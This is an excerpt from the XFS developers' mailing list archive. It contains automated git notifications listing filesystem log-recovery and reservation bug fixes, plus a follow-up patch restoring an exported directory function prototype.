score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id 8E4A929DFB; Sun, 1 Sep 2013 19:40:11 -0500 (CDT) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, master, updated. for-linus-v3.11-rc1-2-12223-g914ed44 X-Git-Refname: refs/heads/master X-Git-Reftype: branch X-Git-Oldrev: 0d0ab120d1fe90fcc73a2bfff3945bea636b3025 X-Git-Newrev: 914ed44b17dc30ce0d783e8e23fce58a1a92412c Message-Id: <20130902004011.8E4A929DFB@oss.sgi.com> Date: Sun, 1 Sep 2013 19:40:10 -0500 (CDT) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, master has been updated 914ed44 Fix wrong flag ASSERT in xfs_attr_shortform_getvalue 904c17e xfs: finish removing IOP_* macros. 2395670 xfs: inode log reservations are too small b121099 xfs: check correct status variable for xfs_inobt_get_rec() call d891400 xfs: inode buffers may not be valid during recovery readahead 50d5c8d xfs: check LSN ordering for v5 superblocks during recovery b58fa55 xfs: btree block LSN escaping to disk uninitialised 3780437 XFS: Assertion failed: first <= last && last < BBTOB(bp->b_length), file: fs/xfs/xfs_trans_buf.c, line: 568 0f0d334 xfs: fix bad dquot buffer size in log recovery readahead 84a5b73 xfs: don't account buffer cancellation during log recovery readahead from 0d0ab120d1fe90fcc73a2bfff3945bea636b3025 (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit 914ed44b17dc30ce0d783e8e23fce58a1a92412c Author: Eric Sandeen Date: Fri Mar 30 11:24:11 2012 -0500 Fix wrong flag ASSERT in xfs_attr_shortform_getvalue This ASSERT is testing an if_flags flag value against a di_aformat enum value. di_aformat is never assigned XFS_IFINLINE. This happens to work for now, because XFS_IFINLINE has the same value as XFS_DINODE_FMT_LOCAL, and that's tested just before we call this function. However, I think the intention is to assert that we have read in the data, i.e. XFS_IFINLINE on if_flags, before we use if_data. This is done in other places through the code as well. Signed-off-by: Eric Sandeen Reviewed-by: Christoph Hellwig Signed-off-by: Ben Myers commit 904c17e6832845cc651a4d5108a7d57eacdb61f7 Author: Dave Chinner Date: Wed Aug 28 21:12:03 2013 +1000 xfs: finish removing IOP_* macros. In optimising the CIL operations, some of the IOP_* macros for calling log item operations were removed. Remove the rest of them as Christoph requested. Signed-off-by: Dave Chinner Reviewed-by: Geoffrey Wehrman Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers commit 239567033c38933c4d6f402f9f8a2126df73e4c6 Author: Dave Chinner Date: Wed Aug 28 16:10:35 2013 +1000 xfs: inode log reservations are too small We've been seeing occasional problems with log space leaks and transaction underruns such as this for some time: XFS (dm-0): xlog_write: reservation summary: trans type = FSYNC_TS (36) unit res = 2740 bytes current res = -4 bytes total reg = 0 bytes (o/flow = 0 bytes) ophdrs = 0 (ophdr space = 0 bytes) ophdr + reg = 0 bytes num regions = 0 Turns out that xfstests generic/311 is reliably reproducing this problem with the test it runs at sequence 16 of it execution. It is a 100% reliable reproducer with the mkfs configuration of "-b size=1024 -m crc=1" on a 10GB scratch device. The problem? Inode forks in btree format are logged in memory format, not disk format (i.e. bmbt format, not bmdr format). That means there is a btree block header being logged, when such a structure is never written to the inode fork in bmdr format. The bmdr header in the inode is only 4 bytes, while the bmbt header is 24 bytes for v4 filesystems and 72 bytes for v5 filesystems. We currently reserve the inode size plus the rounded up overhead of a logging a buffer, which is 128 bytes. That means the reservation for a 512 byte inode is 640 bytes. What we can actually log is: inode core, data and attr fork = 512 bytes inode log format + log op header = 56 + 12 = 68 bytes data fork bmbt hdr = 24/72 bytes attr fork bmbt hdr = 24/72 bytes So, for a v2 inodes we can log at least 628 bytes, but if we split that inode over the end of the log across log buffers, we need to also another log op header, which takes us to 640 bytes. If there's another reservation taken out of this that I haven't taken into account (perhaps multiple iclog splits?) or I haven't corectly calculated the bmbt format space used (entirely possible), then we will overun it. For v3 inodes the maximum is actually 724 bytes, and even a single maximally sized btree format fork can blow it (652 bytes). And that's exactly what is happening with the FSYNC_TS transaction in the above output - it's consumed 644 bytes of space after the CIL context took the space reserved for it (2100 bytes). This problem has always been present in the XFS code - the btree format inode forks have always been logged in this manner. Hence there has always been the possibility of an overrun with such a transaction. The CRC code has just exposed it frequently enough to be able to debug and understand the root cause.... So, let's fix all the inode log space reservations. [ I'm so glad we spent the effort to clean up the transaction reservation code. This is an easy fix now. ] Signed-off-by: Dave Chinner Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers commit b121099d84b0311a26ca04d33961febb33580fe4 Author: Brian Foster Date: Tue Aug 27 17:15:45 2013 -0400 xfs: check correct status variable for xfs_inobt_get_rec() call The call to xfs_inobt_get_rec() in xfs_dialloc_ag() passes 'j' as the output status variable. The immediately following XFS_WANT_CORRUPTED_GOTO() checks the value of 'i,' which is from the previous lookup call and has already been checked. Fix the corruption check to use 'j.' Signed-off-by: Brian Foster Reviewed-by: Eric Sandeen Reviewed-by: Dave Chinner Signed-off-by: Ben Myers commit d8914002a0391331a88d9f5de4a235220735d4cc Author: Dave Chinner Date: Tue Aug 27 11:39:37 2013 +1000 xfs: inode buffers may not be valid during recovery readahead CRC enabled filesystems fail log recovery with 100% reliability on xfstests xfs/085 with the following failure: XFS (vdb): Mounting Filesystem XFS (vdb): Starting recovery (logdev: internal) XFS (vdb): Corruption detected. Unmount and run xfs_repair XFS (vdb): bad inode magic/vsn daddr 144 #0 (magic=0) XFS: Assertion failed: 0, file: fs/xfs/xfs_inode_buf.c, line: 95 The problem is that the inode buffer has not been recovered before the readahead on the inode buffer is issued. The checkpoint being recovered actually allocates the inode chunk we are doing readahead from, so what comes from disk during readahead is essentially random and the verifier barfs on it. This inode buffer readahead problem affects non-crc filesystems, too, but xfstests does not trigger it at all on such configurations.... Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers commit 50d5c8d8e938e3c4c0d21db9fc7d64282dc7be20 Author: Dave Chinner Date: Wed Aug 28 21:22:47 2013 +1000 xfs: check LSN ordering for v5 superblocks during recovery Log recovery has some strict ordering requirements which unordered or reordered metadata writeback can defeat. This can occur when an item is logged in a transaction, written back to disk, and then logged in a new transaction before the tail of the log is moved past the original modification. The result of this is that when we read an object off disk for recovery purposes, the buffer that we read may not contain the object type that recovery is expecting and hence at the end of the checkpoint being recovered we have an invalid object in memory. This isn't usually a problem, as recovery will then replay all the other checkpoints and that brings the object back to a valid and correct state, but the issue is that while the object is in the invalid state it can be flushed to disk. This results in the object verifier failing and triggering a corruption shutdown of log recover. This is correct behaviour for the verifiers - the problem is that we are not detecting that the object we've read off disk is newer than the transaction we are replaying. All metadata in v5 filesystems has the LSN of it's last modification stamped in it. This enabled log recover to read that field and determine the age of the object on disk correctly. If the LSN of the object on disk is older than the transaction being replayed, then we replay the modification. If the LSN of the object matches or is more recent than the transaction's LSN, then we should avoid overwriting the object as that is what leads to the transient corrupt state. Signed-off-by: Dave Chinner Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers commit b58fa554e9b940083a0691f7234c13240fc09377 Author: Dave Chinner Date: Wed Aug 28 21:22:46 2013 +1000 xfs: btree block LSN escaping to disk uninitialised When testing LSN ordering code for v5 superblocks, it was discovered that the the LSN embedded in the generic btree blocks was occasionally uninitialised. These values didn't get written to disk by metadata writeback - they got written by previous transactions in log recovery. The issue is here that the when the block is first allocated and initialised, the LSN field was not initialised - it gets overwritten before IO is issued on the buffer - but the value that is logged by transactions that modify the header before it is written to disk (and initialised) contain garbage. Hence the first recovery of the buffer will stamp garbage into the LSN field, and that can cause subsequent transactions to not replay correctly. The fix is simply to initialise the bb_lsn field to zero when we initialise the block for the first time. Signed-off-by: Dave Chinner Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers commit 37804376121de1a25fb582bdd8970f139c4d9685 Author: Dave Chinner Date: Mon Aug 26 14:13:30 2013 +1000 XFS: Assertion failed: first <= last && last < BBTOB(bp->b_length), file: fs/xfs/xfs_trans_buf.c, line: 568 The calculation doesn't take into account the size of the dir v3 header, so overestimates the hash entries in a node. This causes directory buffer overruns when splitting and merging nodes. Signed-off-by: Dave Chinner Tested-by: Brian Foster Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers commit 0f0d334595105d982ea22ae1d5947723e462344f Author: Dave Chinner Date: Tue Aug 27 13:25:43 2013 +1000 xfs: fix bad dquot buffer size in log recovery readahead xfstests xfs/087 fails 100% reliably with this assert: XFS (vdb): Mounting Filesystem XFS (vdb): Starting recovery (logdev: internal) XFS: Assertion failed: bp->b_flags & XBF_STALE, file: fs/xfs/xfs_buf.c, line: 548 while trying to read a dquot buffer in xlog_recover_dquot_ra_pass2(). The issue is that the buffer length to read that is passed to xfs_buf_readahead is in units of filesystem blocks, not disk blocks. (i.e. FSB, not daddr). Fix it but putting the correct conversion in place. Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers commit 84a5b7300c724f4000f689c410aeae3242b4f034 Author: Dave Chinner Date: Tue Aug 27 08:10:53 2013 +1000 xfs: don't account buffer cancellation during log recovery readahead When doing readhaead in log recovery, we check to see if buffers are cancelled before doing readahead. If we find a cancelled buffer, however, we always decrement the reference count we have on it, and that means that readahead is causing a double decrement of the cancelled buffer reference count. This results in log recovery *replaying cancelled buffers* as the actual recovery pass does not find the cancelled buffer entry in the commit phase of the second pass across a transaction. On debug kernels, this results in an ASSERT failure like so: XFS: Assertion failed: !(flags & XFS_BLF_CANCEL), file: fs/xfs/xfs_log_recover.c, line: 1815 xfstests generic/311 reproduces this ASSERT failure with 100% reproducability. Fix it by making readahead only peek at the buffer cancelled state rather than the full accounting that xlog_check_buffer_cancelled() does. Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_attr_leaf.c | 2 +- fs/xfs/xfs_btree.c | 2 + fs/xfs/xfs_da_btree.h | 11 ++- fs/xfs/xfs_dir2.c | 16 ++-- fs/xfs/xfs_ialloc.c | 2 +- fs/xfs/xfs_inode_buf.c | 36 +++++++- fs/xfs/xfs_inode_buf.h | 1 + fs/xfs/xfs_log_recover.c | 234 ++++++++++++++++++++++++++++++++++++++--------- fs/xfs/xfs_trans.c | 23 +++-- fs/xfs/xfs_trans.h | 8 +- fs/xfs/xfs_trans_ail.c | 4 +- fs/xfs/xfs_trans_buf.c | 2 +- fs/xfs/xfs_trans_resv.c | 72 +++++++++++---- 13 files changed, 320 insertions(+), 93 deletions(-) hooks/post-receive -- XFS development tree From bpm@oss.sgi.com Sun Sep 1 19:40:29 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id A83B029DFB; Sun, 1 Sep 2013 19:40:29 -0500 (CDT) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, for-next, updated. for-linus-v3.11-rc1-2-12223-g914ed44 X-Git-Refname: refs/heads/for-next X-Git-Reftype: branch X-Git-Oldrev: 0d0ab120d1fe90fcc73a2bfff3945bea636b3025 X-Git-Newrev: 914ed44b17dc30ce0d783e8e23fce58a1a92412c Message-Id: <20130902004029.A83B029DFB@oss.sgi.com> Date: Sun, 1 Sep 2013 19:40:28 -0500 (CDT) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, for-next has been updated 914ed44 Fix wrong flag ASSERT in xfs_attr_shortform_getvalue 904c17e xfs: finish removing IOP_* macros. 2395670 xfs: inode log reservations are too small b121099 xfs: check correct status variable for xfs_inobt_get_rec() call d891400 xfs: inode buffers may not be valid during recovery readahead 50d5c8d xfs: check LSN ordering for v5 superblocks during recovery b58fa55 xfs: btree block LSN escaping to disk uninitialised 3780437 XFS: Assertion failed: first <= last && last < BBTOB(bp->b_length), file: fs/xfs/xfs_trans_buf.c, line: 568 0f0d334 xfs: fix bad dquot buffer size in log recovery readahead 84a5b73 xfs: don't account buffer cancellation during log recovery readahead from 0d0ab120d1fe90fcc73a2bfff3945bea636b3025 (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit 914ed44b17dc30ce0d783e8e23fce58a1a92412c Author: Eric Sandeen Date: Fri Mar 30 11:24:11 2012 -0500 Fix wrong flag ASSERT in xfs_attr_shortform_getvalue This ASSERT is testing an if_flags flag value against a di_aformat enum value. di_aformat is never assigned XFS_IFINLINE. This happens to work for now, because XFS_IFINLINE has the same value as XFS_DINODE_FMT_LOCAL, and that's tested just before we call this function. However, I think the intention is to assert that we have read in the data, i.e. XFS_IFINLINE on if_flags, before we use if_data. This is done in other places through the code as well. Signed-off-by: Eric Sandeen Reviewed-by: Christoph Hellwig Signed-off-by: Ben Myers commit 904c17e6832845cc651a4d5108a7d57eacdb61f7 Author: Dave Chinner Date: Wed Aug 28 21:12:03 2013 +1000 xfs: finish removing IOP_* macros. In optimising the CIL operations, some of the IOP_* macros for calling log item operations were removed. Remove the rest of them as Christoph requested. Signed-off-by: Dave Chinner Reviewed-by: Geoffrey Wehrman Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers commit 239567033c38933c4d6f402f9f8a2126df73e4c6 Author: Dave Chinner Date: Wed Aug 28 16:10:35 2013 +1000 xfs: inode log reservations are too small We've been seeing occasional problems with log space leaks and transaction underruns such as this for some time: XFS (dm-0): xlog_write: reservation summary: trans type = FSYNC_TS (36) unit res = 2740 bytes current res = -4 bytes total reg = 0 bytes (o/flow = 0 bytes) ophdrs = 0 (ophdr space = 0 bytes) ophdr + reg = 0 bytes num regions = 0 Turns out that xfstests generic/311 is reliably reproducing this problem with the test it runs at sequence 16 of it execution. It is a 100% reliable reproducer with the mkfs configuration of "-b size=1024 -m crc=1" on a 10GB scratch device. The problem? Inode forks in btree format are logged in memory format, not disk format (i.e. bmbt format, not bmdr format). That means there is a btree block header being logged, when such a structure is never written to the inode fork in bmdr format. The bmdr header in the inode is only 4 bytes, while the bmbt header is 24 bytes for v4 filesystems and 72 bytes for v5 filesystems. We currently reserve the inode size plus the rounded up overhead of a logging a buffer, which is 128 bytes. That means the reservation for a 512 byte inode is 640 bytes. What we can actually log is: inode core, data and attr fork = 512 bytes inode log format + log op header = 56 + 12 = 68 bytes data fork bmbt hdr = 24/72 bytes attr fork bmbt hdr = 24/72 bytes So, for a v2 inodes we can log at least 628 bytes, but if we split that inode over the end of the log across log buffers, we need to also another log op header, which takes us to 640 bytes. If there's another reservation taken out of this that I haven't taken into account (perhaps multiple iclog splits?) or I haven't corectly calculated the bmbt format space used (entirely possible), then we will overun it. For v3 inodes the maximum is actually 724 bytes, and even a single maximally sized btree format fork can blow it (652 bytes). And that's exactly what is happening with the FSYNC_TS transaction in the above output - it's consumed 644 bytes of space after the CIL context took the space reserved for it (2100 bytes). This problem has always been present in the XFS code - the btree format inode forks have always been logged in this manner. Hence there has always been the possibility of an overrun with such a transaction. The CRC code has just exposed it frequently enough to be able to debug and understand the root cause.... So, let's fix all the inode log space reservations. [ I'm so glad we spent the effort to clean up the transaction reservation code. This is an easy fix now. ] Signed-off-by: Dave Chinner Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers commit b121099d84b0311a26ca04d33961febb33580fe4 Author: Brian Foster Date: Tue Aug 27 17:15:45 2013 -0400 xfs: check correct status variable for xfs_inobt_get_rec() call The call to xfs_inobt_get_rec() in xfs_dialloc_ag() passes 'j' as the output status variable. The immediately following XFS_WANT_CORRUPTED_GOTO() checks the value of 'i,' which is from the previous lookup call and has already been checked. Fix the corruption check to use 'j.' Signed-off-by: Brian Foster Reviewed-by: Eric Sandeen Reviewed-by: Dave Chinner Signed-off-by: Ben Myers commit d8914002a0391331a88d9f5de4a235220735d4cc Author: Dave Chinner Date: Tue Aug 27 11:39:37 2013 +1000 xfs: inode buffers may not be valid during recovery readahead CRC enabled filesystems fail log recovery with 100% reliability on xfstests xfs/085 with the following failure: XFS (vdb): Mounting Filesystem XFS (vdb): Starting recovery (logdev: internal) XFS (vdb): Corruption detected. Unmount and run xfs_repair XFS (vdb): bad inode magic/vsn daddr 144 #0 (magic=0) XFS: Assertion failed: 0, file: fs/xfs/xfs_inode_buf.c, line: 95 The problem is that the inode buffer has not been recovered before the readahead on the inode buffer is issued. The checkpoint being recovered actually allocates the inode chunk we are doing readahead from, so what comes from disk during readahead is essentially random and the verifier barfs on it. This inode buffer readahead problem affects non-crc filesystems, too, but xfstests does not trigger it at all on such configurations.... Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers commit 50d5c8d8e938e3c4c0d21db9fc7d64282dc7be20 Author: Dave Chinner Date: Wed Aug 28 21:22:47 2013 +1000 xfs: check LSN ordering for v5 superblocks during recovery Log recovery has some strict ordering requirements which unordered or reordered metadata writeback can defeat. This can occur when an item is logged in a transaction, written back to disk, and then logged in a new transaction before the tail of the log is moved past the original modification. The result of this is that when we read an object off disk for recovery purposes, the buffer that we read may not contain the object type that recovery is expecting and hence at the end of the checkpoint being recovered we have an invalid object in memory. This isn't usually a problem, as recovery will then replay all the other checkpoints and that brings the object back to a valid and correct state, but the issue is that while the object is in the invalid state it can be flushed to disk. This results in the object verifier failing and triggering a corruption shutdown of log recover. This is correct behaviour for the verifiers - the problem is that we are not detecting that the object we've read off disk is newer than the transaction we are replaying. All metadata in v5 filesystems has the LSN of it's last modification stamped in it. This enabled log recover to read that field and determine the age of the object on disk correctly. If the LSN of the object on disk is older than the transaction being replayed, then we replay the modification. If the LSN of the object matches or is more recent than the transaction's LSN, then we should avoid overwriting the object as that is what leads to the transient corrupt state. Signed-off-by: Dave Chinner Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers commit b58fa554e9b940083a0691f7234c13240fc09377 Author: Dave Chinner Date: Wed Aug 28 21:22:46 2013 +1000 xfs: btree block LSN escaping to disk uninitialised When testing LSN ordering code for v5 superblocks, it was discovered that the the LSN embedded in the generic btree blocks was occasionally uninitialised. These values didn't get written to disk by metadata writeback - they got written by previous transactions in log recovery. The issue is here that the when the block is first allocated and initialised, the LSN field was not initialised - it gets overwritten before IO is issued on the buffer - but the value that is logged by transactions that modify the header before it is written to disk (and initialised) contain garbage. Hence the first recovery of the buffer will stamp garbage into the LSN field, and that can cause subsequent transactions to not replay correctly. The fix is simply to initialise the bb_lsn field to zero when we initialise the block for the first time. Signed-off-by: Dave Chinner Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers commit 37804376121de1a25fb582bdd8970f139c4d9685 Author: Dave Chinner Date: Mon Aug 26 14:13:30 2013 +1000 XFS: Assertion failed: first <= last && last < BBTOB(bp->b_length), file: fs/xfs/xfs_trans_buf.c, line: 568 The calculation doesn't take into account the size of the dir v3 header, so overestimates the hash entries in a node. This causes directory buffer overruns when splitting and merging nodes. Signed-off-by: Dave Chinner Tested-by: Brian Foster Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers commit 0f0d334595105d982ea22ae1d5947723e462344f Author: Dave Chinner Date: Tue Aug 27 13:25:43 2013 +1000 xfs: fix bad dquot buffer size in log recovery readahead xfstests xfs/087 fails 100% reliably with this assert: XFS (vdb): Mounting Filesystem XFS (vdb): Starting recovery (logdev: internal) XFS: Assertion failed: bp->b_flags & XBF_STALE, file: fs/xfs/xfs_buf.c, line: 548 while trying to read a dquot buffer in xlog_recover_dquot_ra_pass2(). The issue is that the buffer length to read that is passed to xfs_buf_readahead is in units of filesystem blocks, not disk blocks. (i.e. FSB, not daddr). Fix it but putting the correct conversion in place. Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers commit 84a5b7300c724f4000f689c410aeae3242b4f034 Author: Dave Chinner Date: Tue Aug 27 08:10:53 2013 +1000 xfs: don't account buffer cancellation during log recovery readahead When doing readhaead in log recovery, we check to see if buffers are cancelled before doing readahead. If we find a cancelled buffer, however, we always decrement the reference count we have on it, and that means that readahead is causing a double decrement of the cancelled buffer reference count. This results in log recovery *replaying cancelled buffers* as the actual recovery pass does not find the cancelled buffer entry in the commit phase of the second pass across a transaction. On debug kernels, this results in an ASSERT failure like so: XFS: Assertion failed: !(flags & XFS_BLF_CANCEL), file: fs/xfs/xfs_log_recover.c, line: 1815 xfstests generic/311 reproduces this ASSERT failure with 100% reproducability. Fix it by making readahead only peek at the buffer cancelled state rather than the full accounting that xlog_check_buffer_cancelled() does. Signed-off-by: Dave Chinner Reviewed-by: Ben Myers Signed-off-by: Ben Myers ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_attr_leaf.c | 2 +- fs/xfs/xfs_btree.c | 2 + fs/xfs/xfs_da_btree.h | 11 ++- fs/xfs/xfs_dir2.c | 16 ++-- fs/xfs/xfs_ialloc.c | 2 +- fs/xfs/xfs_inode_buf.c | 36 +++++++- fs/xfs/xfs_inode_buf.h | 1 + fs/xfs/xfs_log_recover.c | 234 ++++++++++++++++++++++++++++++++++++++--------- fs/xfs/xfs_trans.c | 23 +++-- fs/xfs/xfs_trans.h | 8 +- fs/xfs/xfs_trans_ail.c | 4 +- fs/xfs/xfs_trans_buf.c | 2 +- fs/xfs/xfs_trans_resv.c | 72 +++++++++++---- 13 files changed, 320 insertions(+), 93 deletions(-) hooks/post-receive -- XFS development tree From david@fromorbit.com Sun Sep 1 21:16:07 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B7BEA29DFB for ; Sun, 1 Sep 2013 21:16:07 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3749BAC002 for ; Sun, 1 Sep 2013 19:16:04 -0700 (PDT) X-ASG-Debug-ID: 1378088161-04cbb02c3ccc18c0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id CWpaDegjh7eyPekO for ; Sun, 01 Sep 2013 19:16:02 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvgWALvzI1J5LJ62/2dsb2JhbABagweDRLhyhBOBMYEdF3SCJAEBBScTHDMIGAMJJQ8FJQM0iAG4dBaOIIFQFoMHgQADl3SKMIc3gzIqgTU Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail04.adl6.internode.on.net with ESMTP; 02 Sep 2013 11:46:01 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VGJgN-0008Kc-CF for xfs@oss.sgi.com; Mon, 02 Sep 2013 12:15:59 +1000 Date: Mon, 2 Sep 2013 12:15:59 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH V2] xfs: dtype changed xfs_dir2_sfe_put_ino to xfs_dir3_sfe_put_ino Message-ID: <20130902021559.GC23571@dastard> X-ASG-Orig-Subj: [PATCH V2] xfs: dtype changed xfs_dir2_sfe_put_ino to xfs_dir3_sfe_put_ino References: <1377843681-31878-1-git-send-email-david@fromorbit.com> <1377843681-31878-2-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1377843681-31878-2-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1378088161 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140080 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Aug 30, 2013 at 04:21:20PM +1000, Dave Chinner wrote: > From: Dave Chinner > > So fix up the export in xfs_dir2.h that is needed by userspace. > > Signed-off-by: Dave Chinner Well, this patch now causes a compilation failure. Why? xfs_dir3_sfe_put_ino() got marked as static because it didn't have a matching export. Perhaps we should be a little less hasty in merging auto-generated patches from random build-farms? The patch was wrong - fixing the prototype like in v1 of this patch was the correct thing to do.... So, the updated patch below adds the revert. Cheers, Dave. PS: Ben, when you merge a patch from a reply in an email thread, can you please pull the commit subject line from the patch, not the title of the email thread? One of the recent commits got it wrong. i.e. commit 3780437 "XFS: Assertion failed: first <= last && last < BBTOB(bp->b_length), file:" should have had the title "xfs: fix calculation of the number of node entries in a dir3 node" -- Dave Chinner david@fromorbit.com xfs: dtype changed xfs_dir2_sfe_put_ino to xfs_dir3_sfe_put_ino From: Dave Chinner So fix up the export in xfs_dir2.h that is needed by userspace. Now xfs_dir3_sfe_put_ino has been made static. Revert 98f7462 ("xfs: xfs_dir3_sfe_put_ino can be static") to being non static so that the code shared with userspace is identical again. Signed-off-by: Dave Chinner --- V2: revert 98f7462 so that xfs_dir3_sfe_put_ino is exported again to match what userspace needs. fs/xfs/xfs_dir2.h | 5 +++-- fs/xfs/xfs_dir2_sf.c | 2 +- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/fs/xfs/xfs_dir2.h b/fs/xfs/xfs_dir2.h index 768ddad..9910401 100644 --- a/fs/xfs/xfs_dir2.h +++ b/fs/xfs/xfs_dir2.h @@ -70,8 +70,9 @@ extern void xfs_dir2_sf_put_parent_ino(struct xfs_dir2_sf_hdr *sfp, xfs_ino_t ino); extern xfs_ino_t xfs_dir3_sfe_get_ino(struct xfs_mount *mp, struct xfs_dir2_sf_hdr *sfp, struct xfs_dir2_sf_entry *sfep); -extern void xfs_dir2_sfe_put_ino( struct xfs_dir2_sf_hdr *, - struct xfs_dir2_sf_entry *sfep, xfs_ino_t ino); +extern void xfs_dir3_sfe_put_ino(struct xfs_mount *mp, + struct xfs_dir2_sf_hdr *hdr, struct xfs_dir2_sf_entry *sfep, + xfs_ino_t ino); extern int xfs_dir2_isblock(struct xfs_trans *tp, struct xfs_inode *dp, int *r); extern int xfs_dir2_isleaf(struct xfs_trans *tp, struct xfs_inode *dp, int *r); diff --git a/fs/xfs/xfs_dir2_sf.c b/fs/xfs/xfs_dir2_sf.c index 579b56b..bb6e284 100644 --- a/fs/xfs/xfs_dir2_sf.c +++ b/fs/xfs/xfs_dir2_sf.c @@ -129,7 +129,7 @@ xfs_dir3_sfe_get_ino( return xfs_dir2_sf_get_ino(hdr, xfs_dir3_sfe_inop(mp, sfep)); } -static void +void xfs_dir3_sfe_put_ino( struct xfs_mount *mp, struct xfs_dir2_sf_hdr *hdr, From dave@fromorbit.com Sun Sep 1 22:23:10 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 697EB29DFB for ; Sun, 1 Sep 2013 22:23:10 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 07AF3AC003 for ; Sun, 1 Sep 2013 20:23:06 -0700 (PDT) X-ASG-Debug-ID: 1378092184-04bdf02f22cf4510001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id u1ZW1QFMHxp3YjEO for ; Sun, 01 Sep 2013 20:23:05 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AncHAO4DJFJ5LJ62/2dsb2JhbABagweteZUeF3SDATuBAgOINZg/oD+QHIQHA6lbgzIq Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail04.adl6.internode.on.net with ESMTP; 02 Sep 2013 12:53:04 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VGKjF-0008RZ-TS for xfs@oss.sgi.com; Mon, 02 Sep 2013 13:23:01 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VGKjF-0006Vg-Su for xfs@oss.sgi.com; Mon, 02 Sep 2013 13:23:01 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 0/2] xfs: fix some sparse warnings. Date: Mon, 2 Sep 2013 13:22:57 +1000 X-ASG-Orig-Subj: [PATCH 0/2] xfs: fix some sparse warnings. Message-Id: <1378092179-24973-1-git-send-email-david@fromorbit.com> 